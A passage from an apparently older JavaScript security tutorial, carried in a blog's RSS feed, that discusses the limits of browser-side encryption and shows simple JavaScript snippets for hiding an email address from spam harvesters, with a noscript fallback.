<p>The best possible technique would be to create a symmetric encryption key using a twin public/private key pair as with techniques such as Diffie-Hellman or SSL, or use an asymetric public/private key pair and encryption technique as with PGP or RSA. The problem is that in order to prevent brute force cracking techniques, these require the browser to handle numbers as high as 2&#215;10600 or higher. JavaScript is just not natively capable of working with numbers as high as this. As yet, I have found no solution to this, although on http://shop-js.sourceforge.net/ there is an algorithm for emulating large number handling, and an example of JavaScript powered RSA. The technique seems to work and takes only a few seconds to create keys, by using complex mathematics and algorithms (look at the source of crypto.js) to emulate large number handling.</p>
<p>Even so, if doing the equivalent of RSA (etc.), it is still not possible for the user to verify your identity as with SSL certificates, so it would be possible for a third party to inject their own code and have the information sent to them instead, without the user&#8217;s knowledge. For the best security, stick to real SSL.</p>
<h1>Protecting your email address</h1>
<p>This is one of the very useful things that JavaScript can do. For those that don&#8217;t understand the problem, I will summarise. Search engines &#8216;crawl&#8217; the Internet, following the links in pages and requesting other ones so that they can add the pages to their search databases. Using the same technology, spammers crawl the Internet looking for email addresses, whether in mailto: links or just written on the page. These email harvesters are one of the most annoying uses of otherwise useful technologies.</p>
<p>Simply writing your email address on any web page (through newsgroup postings etc) can leave you flooded with unsolicited emails. Many people fall into the trap of replying to these emails asking to be removed from the mailing list, and succeed only in confirming that their email address is valid. The problem is that you may actually want your email address on the page, or a link that automatically opens up a new email to you. There are a couple of steps you can take to prevent the problems with unsolicited emails:</p>
<ul>
<li> Use a throw-away email address like a yahoo or hotmail account when posting to newsgroups, signing online guestbooks, or writing your email address on your Web pages. That way, when you start to get too much spam on that email address, you can just dispose of that email account, and get a new one.</li>
<li> If you can, tell your email client (program) not to send read-confirmations when you read your emails. This way your email client does not automatically confirm your email address.</li>
<li> Be careful when setting up auto-replies.</li>
<li> When you post your email address, change it to read something like myName@REMOVE_THISmydomain.com or myName(replace with @ symbol)mydomain.com and hope that anyone who legitimately replies to it works out what they need to do to turn it back into a proper email address. The problem is that not all of them understand this, and don&#8217;t understand why the email adress does not just work. So, you can try the next point as well:</li>
<li> Use JavaScript. How? Read on!</li>
</ul>
<h1>Using JavaScript to write your email address</h1>
<p>I have never heard of an email harvester that is clever enough to interpret JavaScript. All they can do is read the text that makes up the page. So if you write your email address with JavaScript, they will not be able to read it. Remember that if you write the email address as a single word, even in the JavaScript, they may still interpret it as an email address, so it helps to break it up a little:</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #003366; font-weight: bold;">var</span> theName <span style="color: #339933;">=</span> <span style="color: #3366CC;">'myEmailName'</span><span style="color: #339933;">,</span> theDomain <span style="color: #339933;">=</span> <span style="color: #3366CC;">'myEmailDomain.com'</span><span style="color: #339933;">;</span><br />
document.<span style="color: #000066; font-weight: bold;">write</span><span style="color: #009900;">&#40;</span> <span style="color: #3366CC;">'My email address is '</span> <span style="color: #339933;">+</span> theName <span style="color: #339933;">+</span> <span style="color: #3366CC;">'@'</span> <span style="color: #339933;">+</span> theDomain <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
<p>You can also use a mailto link:</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #003366; font-weight: bold;">var</span> theName <span style="color: #339933;">=</span> <span style="color: #3366CC;">'myEmailName'</span><span style="color: #339933;">,</span> theDomain <span style="color: #339933;">=</span> <span style="color: #3366CC;">'myEmailDomain.com'</span><span style="color: #339933;">;</span><br />
document.<span style="color: #000066; font-weight: bold;">write</span><span style="color: #009900;">&#40;</span> <span style="color: #3366CC;">'&lt;a href=&quot;mailto:'</span> <span style="color: #339933;">+</span> theName <span style="color: #339933;">+</span> <span style="color: #3366CC;">'@'</span> <span style="color: #339933;">+</span> theDomain <span style="color: #339933;">+</span> <span style="color: #3366CC;">'&quot;&gt;Contact me&lt;<span style="color: #000099; font-weight: bold;">\/</span>a&gt;'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
<p>You could even use a combination of both:</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #003366; font-weight: bold;">var</span> theName <span style="color: #339933;">=</span> <span style="color: #3366CC;">'myEmailName'</span><span style="color: #339933;">,</span> theDomain <span style="color: #339933;">=</span> <span style="color: #3366CC;">'myEmailDomain.com'</span><span style="color: #339933;">;</span><br />
document.<span style="color: #000066; font-weight: bold;">write</span><span style="color: #009900;">&#40;</span> <span style="color: #3366CC;">'&lt;a href=&quot;mailto:'</span> <span style="color: #339933;">+</span> theName <span style="color: #339933;">+</span> <span style="color: #3366CC;">'@'</span> <span style="color: #339933;">+</span> theDomain <span style="color: #339933;">+</span> <span style="color: #3366CC;">'&quot;&gt;'</span> <span style="color: #339933;">+</span> theName <span style="color: #339933;">+</span> <span style="color: #3366CC;">'@'</span> <span style="color: #339933;">+</span> theDomain <span style="color: #339933;">+</span> <span style="color: #3366CC;">'&lt;<span style="color: #000099; font-weight: bold;">\/</span>a&gt;'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
<p>There is, however, a problem with this approach. It relies on your viewers having JavaScript enabled. Many of your more web-aware viewers will not. In my case, these are often likely to be people who I want to contact me. Fortunately, these viewers are the ones who are likely to understand what to change if you tell them to as I have showed above (in the bullet points). So, you can use a combination of both approaches:</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>script type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;</span><br />
<span style="color: #003366; font-weight: bold;">var</span> theName <span style="color: #339933;">=</span> <span style="color: #3366CC;">'myEmailName'</span><span style="color: #339933;">,</span> theDomain <span style="color: #339933;">=</span> <span style="color: #3366CC;">'myEmailDomain.com'</span><span style="color: #339933;">;</span><br />
document.<span style="color: #000066; font-weight: bold;">write</span><span style="color: #009900;">&#40;</span> <span style="color: #3366CC;">'&lt;p&gt;&lt;a href=&quot;mailto:'</span> <span style="color: #339933;">+</span> theName <span style="color: #339933;">+</span> <span style="color: #3366CC;">'@'</span> <span style="color: #339933;">+</span> theDomain <span style="color: #339933;">+</span> <span style="color: #3366CC;">'&quot;&gt;'</span> <span style="color: #339933;">+</span> theName <span style="color: #339933;">+</span> <span style="color: #3366CC;">'@'</span> <span style="color: #339933;">+</span> theDomain <span style="color: #339933;">+</span> <span style="color: #3366CC;">'&lt;<span style="color: #000099; font-weight: bold;">\/</span>a&gt;&lt;<span style="color: #000099; font-weight: bold;">\/</span>p&gt;'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span><br />
&lt;noscript&gt;<br />
&nbsp; &lt;p&gt;&lt;a href=&quot;mailto:myEmailName(replace with @ symbol)myEmailDomain.com&quot;&gt;<br />
&nbsp; myEmailName(replace with @ symbol)myEmailDomain.com&lt;/a&gt;&lt;/p&gt;<br />
&lt;/noscript&gt;</div></div>
]]></content:encoded>
			<wfw:commentRss>http://abeontech.com/56-security-javascript-security-tutorial/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

